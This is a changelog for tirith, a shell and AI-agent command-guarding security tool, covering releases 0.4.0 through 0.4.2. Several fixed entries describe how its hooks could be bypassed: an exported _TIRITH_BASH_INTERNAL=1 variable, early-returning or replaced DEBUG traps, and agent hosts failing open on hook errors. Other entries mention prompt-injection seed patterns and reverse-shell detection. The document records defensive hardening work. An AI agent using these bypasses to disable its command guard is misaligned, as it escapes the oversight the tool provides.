Skip to content

Latest commit

 

History

History
440 lines (334 loc) · 147 KB

File metadata and controls

440 lines (334 loc) · 147 KB

Changelog

All notable changes to this project will be documented in this file.

The format is based on Keep a Changelog, and this project adheres to Semantic Versioning.

[Unreleased]

[0.4.2] - 2026-09-11

Fixed

  • Shell hooks resolve and pin trusted helpers on NixOS and other systems without standard FHS helper paths instead of discarding ordinary commands (#239).
  • doctor recognizes mise shims that resolve to the current executable instead of warning that they shadow it (#240).
  • Shell and paste analysis no longer misclassify Go ./... package patterns, ordinary home-directory paths, or Codex zsh environment snapshots using [[ and alias -L as incomplete analysis (#235, #236, #237).
  • ThreatDB updates quietly use the supported v1 channel when a dual-mode deployment has not published its v2 index. Authentication, integrity, and other server failures still surface (#238).
  • ThreatDB source fetching accepts npm metadata served as application/octet-stream only after strict JSON-object and exact package-name validation, preventing a legitimate registry response from stopping publication.
  • ThreatDB provenance compares timestamps as instants, accepting equivalent timezone offsets from Git while retaining canonical UTC provenance and chronological checks.
  • The source-pin watcher isolates write permissions, supports the repository workflow token, finds existing proposal PRs reliably, and rejects stale generated manifest transitions.
  • On Unix, shell initialization binds Bash, zsh, and fish hooks to the running native executable, so npm and other process-spawning launchers no longer prevent strict receipt registration. Other platforms retain shell PATH resolution. The npm launcher also preserves signal termination instead of reporting success.
  • Sourcing shell/tirith.sh locates its own directory correctly in Bash and zsh, including installations with spaces or apostrophes in the path.
  • Long-running processes detect ThreatDB replacements within the same second and changes to the selected database path. Reloads retain signature verification and rollback protection.
  • Trial subscriptions can refresh license tokens, consistently with the database's authorization checks.
  • Daemon enrichment uses the same resolved policy as initial analysis, avoiding inconsistent decisions when configuration changes during a request.
  • Recent-log diagnostics report when older history was not searched. explain provides usable guidance for finding entries outside that window.

Performance

  • Legacy ThreatDB lookups for npm, RubyGems, Go, and Maven use the sorted package index directly. Registries with spelling aliases retain canonical lookup behavior.
  • Command analysis compiles custom rules once per request and only redacts diagnostic rule IDs when a warning is emitted. The per-thread DSL regex cache has a bounded number of retained entries.
  • Recent-log commands seek backward through a bounded suffix instead of parsing the entire audit history. Both the inspected bytes and individual line lengths are capped.
  • Bash prompt callbacks avoid unnecessary history capture subprocesses while preserving typed-command and history-change checks.
  • Legacy session correlation reuses one privacy-projected event window when expiring warning markers, avoiding repeated redaction of every event for each retained signature.
  • Fuzz and packaging workflows cancel superseded pull-request checks so current changes reach runners sooner. Release-tag and other non-PR runs remain independent.

Maintenance

  • Refresh the reviewed OpenSSF and DataDog source snapshots to September 11 revisions and synchronize their NOTICE attribution entries (#245).
  • Update pinned QEMU setup, GitHub release, and SARIF upload actions to their reviewed upstream patch/minor releases (#242).

[0.4.1] - 2026-09-02

Added

  • One canonical ThreatDB source-pin manifest, and a daily watcher that proposes pin updates instead of applying them. .github/threatdb-source-pins.json is now the manifest every build resolves the reviewed OpenSSF, DataDog, and ecosyste-ms revisions from. fetch-threatdb-sources.sh reads them through threatdb_source_pins.py resolve and refuses to start when the manifest does not validate: exact source set, reviewed upstream repository per source, lowercase 40-hex commit, RFC3339 UTC timestamps, a commit that does not postdate its own selection, and a max_lag_hours inside 1 to 8760. A scheduled workflow (.github/workflows/threatdb-source-pins.yml, 02:37 UTC daily, main only) discovers each upstream's candidate, requires GitHub's comparison to report it strictly ahead of the current pin, rewrites the manifest, and then proves the candidate before asking anyone to look: it re-runs the pin unit tests and the fail-closed fetch fixture suite, performs a real source fetch, and compiles the exact snapshots with a public deterministic test key. OpenSSF only ever pins a completed Assign IDs commit, paginating up to 10 pages of 100, so a mid-ingestion tree is never selected. The output is a pull request on automation/threatdb-source-pins whose body carries the compare links, changed path prefixes, file-status counts, whether GitHub truncated the file list, and each source's lag against its max_lag_hours. The security boundary is deliberate: discovery runs on the read-only github.token under permissions: contents: read, the workflow holds no ThreatDB signing key and publishes no database, it pushes only to its own automation branch, and the report says not to auto-merge. Operator action after upgrading this repository: pushing that branch and opening the pull request need a separately scoped THREATDB_PIN_PR_TOKEN repository secret (contents plus pull requests, this repository only). Until it is set, the watcher fails at the token check the first time a pin actually changes.
  • The README documents the allowlist pattern grammar. allowlist and allowlist_rules match only URLs extracted from the input that appear in a finding's evidence. They never match raw command text, and a finding with no URL evidence cannot be suppressed at all, so a command-shaped entry such as launchctl list is inert. The README now spells out the grammar, which is the same one tirith trust uses, and points at tirith policy effective and tirith policy test '<command>' for checking what a policy actually resolves to.

Changed

  • Bash enter mode delivers and blocks, so an ordinary bash install blocks instead of only warning. A bare bind -x on Enter runs the bound function but does not then accept the line on stock bash, so enter mode stashed the typed command and dropped it. The capability self-test correctly reported that, which is why every 0.4.0 bash user fell back to warn-only preexec and got no blocking without setting TIRITH_BASH_PREEXEC_ENFORCE=1 (issues #111, #224). Enter is now bound to a readline macro that runs the checker through bind -x and then a guarded accept-line: the accept sub-sequence stays bound to a no-op until _tirith_enter arms it, and _tirith_prompt_hook re-disarms it at every prompt, so typing or injecting the accept bytes cannot accept a line the checker never approved. operate-and-get-next (Ctrl-O) accepts a line without running the checker, so it is unbound while enter mode owns delivery, and the exact prior Ctrl-O binding is captured per keymap and restored on degrade. Bindings and the startup health gate cover emacs-standard, vi-insert, and vi-command, so a later set -o vi cannot expose an unguarded Enter. Every failure to arm or disarm rolls back: the pending command and its receipt are dropped, the receipt is discarded, the command goes back into the readline buffer, and the shell degrades to preexec. Verified over a real PTY with the real binary on GNU bash 5.2 and 5.3. The 0.4.0 gate is unchanged: enter mode is selected only when the tirith setup or tirith doctor self-test has proven delivery for that exact bash version, path, and fingerprint, and an SSH session, a persisted safe-mode flag, or a forced TIRITH_BASH_MODE=preexec still selects preexec.
  • Published ThreatDB source provenance records when each pinned commit was authored and when its pin was chosen. Every Git source in source-provenance.json gains commit_timestamp and pin_selected_at. The fetch reads the commit time out of the checkout itself and aborts when a manifest-pinned tree disagrees with the manifest, and tirith-threatdb-compile verifies the pair independently rather than trusting the document: both fields must be present together or both absent, both must be RFC3339 UTC, the commit must not postdate its own selection, and verify_git_checkout re-runs git show -s --format=%cI HEAD against the staged tree and refuses a mismatch. Provenance written before this release carries neither field and still validates, so older signed generations keep verifying. threatdb.yml no longer keeps a second copy of the pins: THREATDB_OSSF_MP_REF, THREATDB_DD_MP_REF, and THREATDB_TYPOSQUAT_REF are gone from its environment block. The overrides still exist for pre-review shadow builds, but an overridden ref now requires a matching THREATDB_*_PIN_SELECTED_AT or the fetch refuses to run.
  • TIRITH_BASH_REQUIRE_ENTER is labelled reserved. tirith doctor displayed it alongside the knobs that do something, but no hook reads it: it appears only in doctor's own display and its captured-environment list. Doctor now prints on (reserved; not enforced by this version), and docs/troubleshooting.md says the same, so nobody plans around an enforcement that does not exist yet.

Fixed

  • Tirith launched through a symlink lost execution receipts on macOS. std::env::current_exe returns the launch path unresolved there, so registering or validating the shell receipt capability through Homebrew's /opt/homebrew/bin/tirith or an npm wrapper hit the O_NOFOLLOW identity open on the symlink itself, failed with ELOOP, and the shell fell back to legacy mode with no execution receipts. The launch path is canonicalized first. The O_NOFOLLOW open, the owner and group/other-writable checks, and the symlink_metadata device/inode recheck all still run against the resolved path, so a symlink swapped in after canonicalization still fails closed. Reported in issue #221.
  • zsh silently dropped to legacy mode behind a forked subshell. The hook registered the protocol-v3 receipt instance through a command substitution. The Rust side binds the capability to its immediate parent pid, and whenever zsh's exec optimization is suppressed while the rc file is sourced (a prompt framework installing a WINCH trap earlier in the rc is the usual trigger) the substitution runs behind an intermediate fork, so registration was rejected, TIRITH_STATUS went to degraded, and the session ran with no execution receipts. zsh now registers with a plain foreground command redirected into temp files, the way the bash hook already did, so tirith is a direct child of the main shell in every condition. The fish hook gets the same shape for consistency, not because it had the zsh failure. All three hooks also stop discarding the register stderr: the first line of the rejection is kept in _TIRITH_RECEIPT_REGISTER_ERROR and printed under the legacy-mode warning, so a downgrade says why. Reported in issue #221.
  • noclobber broke the hooks' private capture files. A redirect into a file mktemp has already created fails under noclobber, and bash used a plain > everywhere. The bash redirects are now forced with >| across receipt registration, the preexec check, the DEBUG-trap bootstrap command, and the enter-mode check and paste paths; zsh gains the same on its registration redirect, its accept-line and paste widgets having already carried setopt localoptions clobber. A rejected zsh registration is also kept inside an explicit condition so ERR_EXIT cannot kill hook initialization before the rejection is recorded and the honest fallback runs, and both branches clean up their temp files.
  • The "how to actually block this" advice pointed bash users back at bash. The warn-only block advisory recommended "an enter-capable shell (bash 5+/zsh/fish)", so a bash 5 user was told to switch to bash 5. It now names zsh or fish, plus the path that blocks on bash without enter mode: export TIRITH_BASH_PREEXEC_ENFORCE=1 before the tirith init line. tirith doctor prints the same remedy whenever it still applies, and adds that a forced TIRITH_BASH_MODE=enter has to go, because preexec enforcement only arms in a shell that starts in preexec mode. When enforcement is already armed and the shell is blocking, doctor prints neither line.
  • tirith receipt claimed to manage execution receipts. It fronts the download receipts tirith run writes, and the wrong noun sent the reporter of issue #221 hunting for shell execution receipts in a store this command has never touched. The command help now reads "Manage download receipts recorded by tirith run", the after-help says shell execution receipts are a separate store with no CLI viewer, the empty-store message names the directory tirith run actually writes to, and docs/compatibility.md matches.
  • The repo-policy neutralization notice never reached anyone with a user or org policy. warn_repo_policy_neutralized keyed on policy.scope == Repo, but since the baseline plus overlay merge the merged policy carries the trusted baseline's scope, so a repo overlay whose weakening fields were dropped produced no warning at all for an operator with a user or org policy in place. It now keys on the recorded drop set, which only repo sanitization populates, so it still cannot fire for a purely trusted policy. tirith policy effective already listed the full drop set and is unchanged.
  • _tirith_ensure_prompt_hook aborted instead of degrading when PROMPT_COMMAND was readonly. The reattach path assigned to PROMPT_COMMAND without checking its attributes first, and assigning to a readonly variable is a fatal error in bash: the function died before it could return non-zero, so the runtime self-heal never reported a failure and the session never degraded. It now refuses unsafe attributes up front, the same _tirith_prompt_command_attrs_safe check the preexec guard install already used, and confirms the reattachment actually took effect before returning success. Latent before this release; the enter-mode work exposed it.
  • ThreatDB reviewed source pins advanced, and the fetch can materialize and hash the tree they point at. The OpenSSF revision moves from 1ea2762d to 54642f7e and the DataDog revision from ef4a781d to 2d098390; the ecosyste-ms typosquat pin is unchanged. That OpenSSF tree is roughly 200k sparse-materialized advisory files, so THREATDB_FETCH_TIMEOUT_SECONDS now defaults to 300 instead of 180; the 600s THREATDB_TRANSACTION_TIMEOUT_SECONDS end-to-end deadline and the separate 420s registry-snapshot budget are unchanged. Content hashing no longer forks sha256sum and cut once per file, close to half a million subprocesses on the current tree: .github/scripts/hash-threatdb-tree.py runs once under the same run_bounded deadline and folds the identical path-NUL/digest-NUL byte stream into one digest, so published content_sha256 values are byte-for-byte what the old loop produced, and a fixture test recomputes the digest with the old shell oracle and fails on any difference. The hasher uses lstat and os.walk(followlinks=False), keeping find -type f semantics: symlinks are neither followed nor hashed, and the OpenSSF fixture now plants one to prove it.
  • tirith update on a Hermes-managed install no longer refuses with package-manager advice. A Tirith release cached at $HERMES_HOME/bin/tirith matched no branch of detect_install_method, so it classified as Unknown, and on a Debian or RPM host refine_system_pm turned that into apt or dnf. update then exited 0 having changed nothing, telling the user to dpkg -i or rpm -U a package they never installed, and --rollback refused outright. Such an install is now treated as self-replaceable and runs the existing path unchanged: signed download, mandatory cosign verification (checksum-only only with --allow-unsigned), atomic swap keeping the tirith.tirith-previous sidecar, and --rollback. Recognition is proof-based and Unix-only, and only a binary whose path resolved cleanly and classified as Unknown is even a candidate. The root (HERMES_HOME, else ~/.hermes when that variable is unset; an empty HERMES_HOME disables the path entirely) must be absolute and lexically normal, so a relative path, a .. component, or an alias spelling such as /safe/./root is refused, and it must not be a system or package-manager root (/usr, /usr/local, /opt/homebrew, /nix/store, a Cellar, and the rest of the deny list). The layout must be exactly <root>/bin/tirith or <root>/profiles/<profile>/bin/tirith. The root, every traversed directory, and the binary must be owned by the current effective uid, must not be symlinks, must carry no group or world write bit, and must carry no POSIX ACL entry granting write to another principal, checked by the new tirith_core::trusted_child::validate_unix_trusted_path_acl, which fails closed when ACLs cannot be read. The binary must canonicalize back to the running executable, and a tree carrying Cargo's install metadata (.crates.toml or .crates2.json) is never granted self-replacement, the same signal ~/.local/bin already uses. The proof is re-run immediately before the swap and again before a rollback; a boundary that changed since classification aborts with exit 1 and a message naming ownership, permissions, and path, rather than falling through to generic self-management. install_method reports hermes in tirith version --provenance and verify-self JSON, and a Hermes update never requests the privileged package-approval-helper effect or installs that helper. The public tirith_core::selfupdate::InstallMethod enum is deliberately untouched, so this patch release adds no variant to it: hermes is a CLI-private origin (CliInstallOrigin::Hermes) layered over SelfManaged and rendered only by install_method_token.
  • Migrated the mutable ThreatDB publication channel to threatdb-current after GitHub sealed the former threatdb-latest rolling release. The signed legacy channel remains intact as a last-known-good fallback, while new manifests, assets, pruning, and v2 rollback operations use the replacement channel.

[0.4.0] - 2026-08-25

Added

  • Python artifact inspection and an enforcing package firewall. Package extraction retains exact, range, compatible, exclusion, and unresolved version intent instead of flattening every requirement to a name. tirith package inspect analyzes exact wheel sets or installed environments without downloading them: a hardened streaming reader rejects archive ambiguity and structural abuse; strict wheel RECORD and ownership checks find tampering and cross-distribution collisions; .pth, .start, sitecustomize, and usercustomize startup execution is modelled; and ELF, Mach-O, and PE triage correlates native imports and loader-to-payload chains. tirith pkg adds quarantine, resolution through an enrolled static uv, exact digest binding, approval records, a root-owned native authority, hash-pinned contained pip installation, installed-environment verification, provenance graphs, release differentials, PyPI attestation binding, and tamper-evident receipts. Enforcement is intentionally Python-only and x86_64-Linux-only; npm and Cargo remain non-enforcing evidence surfaces.
  • ThreatDB v2 and artifact-level reputation. The signed database can now index artifact SHA-256 values, installed-file hashes, malicious URLs, campaign membership, and behavior tags in bounded v2 sections while retaining the v1 package/domain/IP path for older clients. The loader, compiler, updater, and signed multi-asset index support a staged dual-format rollout, sequence rollback prevention, transactional publication, and a signed last-known-good fallback. OpenSSF malicious-package indicators retain their real event and range semantics instead of promoting a bounded record to a whole-package block; typeless MAL-* reports are treated as confirmed malicious records. A DigitalSide parser/source is defined but remains deliberately inactive until its freshness and operating contract are approved.
  • Artifact-aware scan outcomes and coverage truth. File routing now starts from bytes read through one no-follow handle rather than trusting a suffix. Typed scan outcomes distinguish a clean inspection from a skipped artifact, an unsupported format, a rejected structure, and budget exhaustion; global output budgets preserve higher-severity findings and analysis_incomplete evidence. The shared artifact subject/signal model gives policy and product surfaces one representation for ownership, execution edges, payloads, native code, and incomplete coverage.
  • Expanded exploit and secret detection. Structural GitHub Actions checks cover mutable actions, privileged triggers, expression-to-shell injection, and cross-workflow artifact poisoning. Command analysis adds reverse-shell and suspicious inline-interpreter patterns plus OpenAI, Hugging Face, PyPI, and PGP credential shapes. PDF preflight rejects excessive object nesting and compressed-stream abuse before deep parsing, while terminal and human CLI output neutralizes control sequences and deceptive Unicode in untrusted fields.
  • Pinned hook runtimes. Every generated Python-backed hook now records the validated absolute interpreter selected by setup instead of resolving a bare python3 later from the agent's repository-influenced PATH. The first PATH hit is authoritative and an interpreter selected from a repository or temporary directory makes setup fail closed; it is never skipped in favor of a later binary. Cline's optional Linux xdg-user-dir lookup likewise accepts only a validated system helper, executes it with a cleared environment and root-managed utility PATH, and refuses an untrusted first hit without running it. Re-run setup if the pinned interpreter moves. Doctor no longer treats legacy Cline/OpenHands wrappers that use ambient Python as effective blocking hooks.
  • Order-independent runtime package enrichment. Distinct versions of the same canonical package are retained through OSV/deps.dev enrichment while exact duplicates still share one lookup. Every package receives an equal deadline slice, so a slow first registry request cannot starve later candidates. OSV, deps.dev, ecosyste.ms, and KEV now return typed complete/unsupported/incomplete outcomes; timeouts, transport failures, malformed responses, missing defaults, unsupported constraints, and defaults that do not satisfy a requested constraint produce a Medium analysis_incomplete finding that explicitly says it is not malicious evidence. A failed lookup can no longer collapse into the same state as a complete negative response or emit threat_unresolved_malicious_package without a malicious record.
  • Blocking pre-execution hooks for Prime Agent, OMP, Cline, and OpenHands. These four hosts document a hook that can refuse a command, so setup now installs one instead of registering MCP alone. Prime Agent and OMP receive the shared Pi-family guard (pi.on("tool_call"), vetoing with { block: true, reason }); both also block when the handler throws, so a guard crash fails closed there. Cline gets the global PreToolUse hook in its Documents directory (resolved through a trusted xdg-user-dir DOCUMENTS on Linux, the Windows Documents known folder on Windows, and ~/Documents elsewhere), and OpenHands gets .openhands/hooks.json with a terminal matcher at both scopes, matching the two locations its SDK searches: the working directory (OPENHANDS_WORK_DIR, otherwise the current directory) under --scope project, and ~/.openhands under --scope user. Existing unrelated OpenHands hooks are preserved; only the Tirith entry is replaced. Neither Cline nor OpenHands can pass environment to a hook, so setup records the validated absolute Python and Tirith paths in a generated host wrapper. Every host writes the hook before the MCP entry, so a partial failure leaves the half that can refuse a command. Grok Build, Cline, and OpenHands all let the tool run when a hook itself errors on their side; Tirith's adapter is fail-closed but cannot compensate for that. Cline runs a PreToolUse executable on POSIX and a PreToolUse.ps1 through PowerShell on Windows; setup installs whichever the platform uses, both forwarding stdin and stdout through the same adapter. Its current run_commands batches and legacy execute_command events are both checked; malformed batches fail closed, applicable POSIX/PowerShell/Cmd grammars are evaluated conservatively, and every intentional Cline outcome emits an explicit JSON allow or deny envelope.
  • IPython cell execution-vector extraction. Prime Agent exposes an ipython tool, and a notebook cell can reach a shell through several syntaxes at once. The guard collects every vector it can recognise in a cell rather than stopping at the first, and refuses the cell by default when it finds one it cannot read: !cmd, !!cmd, x = !cmd, %system/%sx, the %%bash/%%sh/%%script <shell> cell magics, and Python-level os.*, subprocess.* and pty.spawn calls. Reconstruction preserves canonical alias identity, each exec*/spawn* argv signature, subprocess shell=True, Unicode/NFKC identifiers, Python string escapes, comment boundaries, and /usr/bin/env script interpreters; other executing magics fail closed instead of disappearing. Recovered commands are joined into one script and sent to tirith check in a single call, so the engine makes every decision and the extension makes none; a vector whose command is computed at runtime is blocked by default rather than approximated, and TIRITH_HOOK_UNRESOLVED_ACTION=warn opts out. Source-level extraction still cannot prove arbitrary Python safe (an earlier-cell wrapper, getattr, __import__, or a third-party process spawn), and the documentation says so. tests/ipython-vector-extraction.mjs exercises the exact shipped bytes, with engine-level tests for reconstructed shell commands.
  • Documented integration setup for nine additional open-source agents: tirith setup now registers the validated absolute Tirith stdio server with Grok Build, profile-aware OMP (user-only), stable precedence-aware OpenCode (user/project), Vercel Labs fx (trusted user profile only), Prime Agent's generic MCP runtime (user-only; its blocking guard is described in the entry above), Cline (user-only, including CLINE_DIR/data/file overrides; its blocking hook is described above), Roo Code (project-only), Continue (a Tirith-owned project MCP block), and OpenHands CLI (MCP is user-only, including OPENHANDS_PERSISTENCE_DIR; its blocking hook installs at both scopes, described above). Prime's generic runtime accepts local stdio servers even though its separate authored Python McpIntegration wrapper API remains HTTP-only. OMP follows PI_CONFIG_DIR, profile precedence, strict JSON, and its higher-precedence disabledServers override; unresolved path/profile/overlay variables imported from applicable OMP or Bun launch dotenv sources fail closed instead of targeting the wrong profile, with named-profile and alias-mirroring distinctions preserved. OMP project setup is deferred because its heterogeneous provider-settings merge can suppress an otherwise valid local MCP file. OpenCode follows the inspectable XDG, ordinary/nested JSONC, config-directory, project-disable, and inline-content layers, refusing a locally shadowed registration; later organization and administrator-managed layers require host verification. Grok Build writes project MCP config at the invocation directory, installs its trusted hook at the Git root, reconciles the user disabled_mcp_servers override transactionally, and preflights both artifacts before publishing its documented blocking POSIX PreToolUse hook, with the host's fail-open-on-error/timeout limitation stated explicitly. Format-aware updates preserve unrelated configuration; Prime, OMP, fx, Cline, Roo, and OpenHands reject host-invalid comments or trailing commas, while Prime accepts only its zero-byte bootstrap, Cline accepts trimmed-empty bootstrap content, and OpenCode retains JSONC. Contained transactional writes and backups, private user modes, dry-run, force, idempotence, and documented custom roots are covered. MCP remains cooperative rather than automatic interception; Pi CLI's blocking tool_call guard now pins the same validated absolute Tirith path instead of resolving the agent environment or PATH, and is the same asset Prime Agent and OMP install. Goose, Aider, and unstable or host-managed hook surfaces are documented as deferred instead of receiving speculative config.
  • Web3 command guard: a bounded grammar for Cast, Forge, Hardhat, Solana, and Anchor invocations, wired into the engine so every surface built on it (tirith check, the shell hooks, tirith_check_command, the gateway) sees it. Three new rule IDs: web3_state_changing_command (Medium, High when the same command also disables a declared safety control such as --skip-simulation), web3_signer_risk (Critical for literal raw key, keypair, or mnemonic material in argv; High for an unlocked node or an interactive prompt), and web3_network_policy_violation (High for a denied endpoint or an impermissible signer). Evidence is categorical: findings name the tool, operation, and signer KIND, never a key, keystore path, destination address, or the raw command. An operation explicitly aimed at devnet, testnet, or a loopback endpoint produces no state-change finding. This is grammar and policy: no chain state is read, no transaction is simulated, and no address is scored.
  • web3_guard policy section: trusted networks keyed on real chain identity (an EVM chain id, or a Solana cluster plus genesis), structured RPC matchers with an explicit subdomains decision instead of free-form regex, a signer allow-list with no spelling for raw secret material, denial lists, and three explicit actions. Defaults are observational, and with no networks declared the unclassified-endpoint path does not fire at all. A repository-scoped policy may TIGHTEN but never authorize: grant-bearing collections RESET, denial collections UNION, actions and modes take the stricter value, and tirith policy effective names every neutralized key.
  • Command card schema 2: Web3 operation bindings (network, family, chain or genesis identity, signer KIND, destinations, artifact hashes, policy identity, the ordered operation set, and the authorized approval key). A card may never bind raw signer material, a v1 card can never approve a Web3 operation, and operation comparison is ordered-set equality. Both new fields are omitted from the JSON unless set, so v1 signing bytes are byte-identical and every checked-in v1 signature still verifies.
  • Untrusted task envelopes and the task_gate policy: a bounded envelope format that keeps "this came from an issue body" attached into the effect decision. The caller never gets to say where content came from; effective provenance is assigned by the tirith-owned ingress adapter, and no source kind is trusted, including repository config. Operations define their effects, natural language infers nothing, and the decision only ever narrows. task_gate defaults to mode: off and an off gate does not even write an audit line.
  • tirith task check: diagnostic assessment of a task envelope from a file or stdin, human or JSON, declaring enforceability: observe_only. Executes nothing, fetches nothing, resolves no package, and writes nothing.
  • tirith_check_task MCP tool (preview): the same assessment over MCP, rendered from the same shared projection. It is absent from the default tools/list and refused by name unless TIRITH_MCP_PREVIEW=1 is set, because the default list is a frozen compatibility contract that clients cache.
  • Task-gate enforcement at tirith-owned transitions: one shared adapter invoked immediately before nine irreversible steps (the MCP gateway forward, pkg approve, pkg install resolve and prepare, install <manager> network and spawn, run <url> and install url <URL>, a tirith-owned config write, and the capsule preset run). Enforcement keys on the MODE, never on the denial set; observe mode decides without withholding, and writes an audit line at the gateway-forward boundary only; and a config write is held open by a single-use, non-Clone permit that rechecks both the content digest and the bound path before publication.
  • tirith capsule run --preset untrusted-project: copy an untrusted project into a held ephemeral directory and run an exact argv inside a fail-closed OS capsule, with a content-addressed receipt (including on a refusal), signed when this installation has an audit key and anchored in the audit chain when one is configured. The copy REFUSES on a symlink, hardlink, filesystem boundary, escape, case or Unicode collision, fifo, socket, device, or non-UTF-8 name rather than skipping it. Enforceable on x86_64 Linux with a usable Landlock ABI and nowhere else; every other host refuses before anything is copied or spawned, naming the exact missing control, with no degraded fallback. Domain allow-listing is deliberately not offered, because domain_proxy_enforced is false in every backend.
  • Cross-workflow GitHub Actions artifact-flow analysis: workflow_artifact_poisoning (High), emitted from a bounded repository post-pass during tirith scan over a directory. A High requires the complete proven chain from a fork-reachable producer to a privileged workflow_run consumer bound to the triggering run with an execute, source, PATH-mutation, publish, or deploy sink; anything less is recorded as incompleteness. The presence-level workflow_run_trigger finding is downgraded to Medium only for consumers the post-pass had full visibility into. The post-pass lives in scan::scan, so every directory-scan caller runs it, including the tirith_scan_directory MCP tool and the MCP scan resources; per-file analysis (tirith check on one file, tirith_scan_file, and the LSP) does not and keeps the original severity.
  • tirith browser audit: explicit, one-shot, read-only integrity audit of installed Chromium-family extension source trees (Chrome, Chromium, Brave, Edge; Firefox and XPI refused by name), with tree digests, declared permissions and execution surfaces, install class, and typed drift against a signed content-addressed baseline. Exactly three Preferences fields are read; cookies, history, saved passwords, storage, wallet databases, and Local State are never opened, so the audit cannot see browsing data or the signed-in account.
  • tirith pkg attest-npm: resolve npm through the trusted-executable mechanism, discover its exact version, and run one argv from a closed, fixture-backed contract table, binding npm's own answer to the exact package-lock.json and node_modules inventory. Tirith does not download, inspect, or bind the tarball bytes npm installs.
  • tirith attest {build,verify-build,deployment,verify-deployment}: content-addressed, signed, point-in-time receipts over a source tree, an output tree, and a set of deployed routes on one HTTPS origin. Not a reproducible-build claim and not continuous monitoring; verify-deployment re-checks the document and makes no network request.
  • npm command grammar and registry identity facts: one npm_command grammar replacing four divergent private copies, covering npm, npx, pnpm, yarn, bun, and bunx including dlx, exec, and ci. Registry identity facts (tarball URL, parsed dist.integrity SRI, legacy shasum status, signature and attestation state) are parsed and explicitly never claimed as verified.
  • Documentation: enforcement coverage, Web3 command guard, task envelope, untrusted projects, CI artifact flow, browser extension audit, npm provenance receipt, attestation receipts, rollout and rollback, and a research note on the synthetic issue-trojan corpus.

Changed

  • Security-critical work is now bounded and stateful by construction. Child execution is supervised through process groups or Windows job ownership with explicit timeouts and terminal states. Downloads, setup, policy, registry, checkpoint, trust, canary, receipt, audit, and ThreatDB paths use transactional publication, no-follow or retained-handle identity checks, private state, and explicit incomplete outcomes instead of best-effort continuation. Network clients apply URL, redirect, DNS-rebinding, proxy, response-size, and time budgets. JSON, SARIF, MCP, and human renderers share redaction and output limits rather than each inventing a partial boundary.
  • Linux release compatibility and package identity: x86_64 and aarch64 GNU artifacts now target an honestly verified GLIBC 2.28 ceiling and are smoke-tested on AlmaLinux 8, Amazon Linux 2023, and Rocky Linux 9. Debian and RPM packages embed the canonical release executables instead of rebuilding them, so verify-self uses the same byte identity across tarball and package installs. Release tooling, container images, and GitHub Actions are immutably pinned, and validation-only pull-request runs remain separated from tag-only publication.
  • Bounded MCP output inspection: structured and ordinary tool output now preserves logical leaf boundaries while also detecting cross-leaf content, applies explicit depth, node, leaf, byte, decode-candidate, and join-work ceilings, and maps exhausted analysis to analysis_incomplete instead of misreporting a credential finding. Supported-secret redaction carries independent secret/incomplete status, so large benign BIP-39-adjacent prose no longer becomes a false credential incident.
  • ThreatDB publication correctness: source processing is restricted to the intended active malicious records; OSV event states are parsed into an explicit range model that distinguishes a semantic whole-package claim from a bounded interval, so a bounded range can no longer become a package-wide false block; Datadog npm and PyPI manifest locations and shapes are parsed exactly; the typosquat source path is wired through end to end with explicit rejection accounting; and the fetch and publication transaction refuses to publish a partial source tree, preserving the signed last-known-good database.
  • Sensitive-asset handling is centralized. One catalog now owns reviewed wallet, keystore, browser-wallet, desktop-wallet, and Solana-keypair paths, BIP-39 checksum validation, EVM scalars, access tokens, and hosted RPC credentials, with target-explicit POSIX, macOS, and Windows path semantics. Redaction of both secret VALUES and private PATHS is mandatory before and after layout sanitization and before truncation, across findings, evidence, verdicts, the audit chain, session and execution state, SARIF, and every CLI, MCP, gateway, and manual renderer.
  • Byte-based content classification. File dispatch is decided by magic bytes on the already-open no-follow handle rather than by suffix, with bounded archive preflight and explicit routing for misnamed, extensionless, malformed, polyglot, archive, native, and unknown-binary content. Global finding, evidence, text, JSON, human, CLI, MCP, and SARIF budgets apply, with High, Critical, and analysis_incomplete preserved ahead of lower-value findings.
  • PDF hidden-instruction analysis now reasons about fill and stroke colour, alpha, render mode, transforms, forms, and optional content, and routes both visible and hidden extracted text through the shared seed, deobfuscation, credential, and confirmation-suppression logic. Unsupported colour spaces and renderer cases record explicit incompleteness.
  • docs/capability-manifest.toml gains six entries (task check, the four attest subcommands, and pkg attest-npm) and its C00 freeze hash moves, with the entry-by-entry verification recorded in tests/fixtures/c00/contracts.toml.
  • Prompt-injection seed narrowing: the <<SYS>> seed no longer compiles to a pattern matching any HTML or XML tag, and a bare system: seed no longer matches inside ordinary words or Kubernetes RBAC principals. Both were live High false positives that dropped whole tool results. An operator's own injection_seeds_custom keeps the documented <role> placeholder behaviour.

Fixed

  • Bash hook state inherited from the environment is no longer trusted: the hook read several session-local variables before it ever wrote them. _TIRITH_BASH_INTERNAL=1 is the first line of _tirith_preexec, so a parent process that exported it switched off command interception for the whole session without touching a config file, a policy, or the hook. The per-line decision cache, the DEBUG-chaining slot the trampoline evaluates, and the one-shot degrade latches had the same shape. All are now dropped when they arrive exported; values assigned inside the session are untouched.
  • Chained DEBUG traps that return early no longer disable the hook: a DEBUG trap body normally runs at the top level, where return is a no-op, so real handlers use it as an early exit. bash-preexec.sh — the base of oh-my-bash, Atuin and iTerm2 shell integration — opens with exactly that shape. The captured body was evaluated inline, so its return left Tirith's own trampoline before the scan. It now runs in a frame of its own.
  • A stolen DEBUG trap is now reported instead of silently ending protection: the caller's trap was captured once at the first prompt and never rechecked, so anything that ran trap ... DEBUG later replaced the trampoline while the shell kept reporting blocks. Ownership is now proven every prompt cycle by the trampoline's own heartbeat, because trap -p DEBUG reads back empty inside a function. Tirith does not take the trap back; it says protection is off.
  • Grok Build setup (hook refresh, denylist, ordering, warnings): --update-configs refreshed the static hook script and returned before writing tirith.json, the only file carrying the absolute hook path and TIRITH_BIN, so the one command meant to repair a moved binary skipped the only file that goes stale. Project setup left disabled_mcp_servers = ["tirith"] in the project config it had just registered a server into. The MCP entry was written before the hook, so a failure between the two writes could leave advertisement without enforcement. And Grok's decision envelope carries reason only for deny, so every warn-allow finding was serialized away; it now reaches the user on stderr while stdout keeps the envelope Grok parses.
  • Bounded MCP response inspection: a response already blocked by the text scanner returns immediately instead of decoding attacker-supplied blobs. Responses that remain eligible for forwarding share explicit URI/blob node, blob-count, and violation-count budgets; exhausting any of them blocks with analysis_incomplete. Resource URIs now allow only relative references, fully screened HTTP(S), and the explicit internal tirith: / ui: schemes rather than presuming unknown absolute schemes are non-network. Inline blobs require one complete canonical padded or unpadded Base64 encoding, reject suffix, padding, and trailing-bit aliases, and are MIME-sniffed in nested prompts/get resources as well as top-level reads.
